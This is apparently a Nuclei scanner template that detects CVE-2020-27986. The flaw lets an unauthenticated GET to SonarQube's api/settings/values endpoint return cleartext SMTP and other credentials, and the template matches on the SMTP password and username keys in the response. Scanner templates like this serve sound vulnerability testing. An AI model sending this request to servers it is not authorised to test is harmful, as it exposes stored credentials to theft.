id: CVE-2020-27986 info: name: SonarQube unauth author: pikpikcu severity: high description: | SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, SVN, and GitLab credentials via the api/settings/values URI. NOTE: reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it." reference: - https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-27986 cwe-id: CWE-306,CWE-312 tags: cve,cve2020,sonarqube requests: - method: GET path: - "{{BaseURL}}/api/settings/values" matchers-condition: and matchers: - type: word words: - email.smtp_host.secured - email.smtp_password.secured - email.smtp_port.secured - email.smtp_username.secured part: body condition: and - type: status status: - 200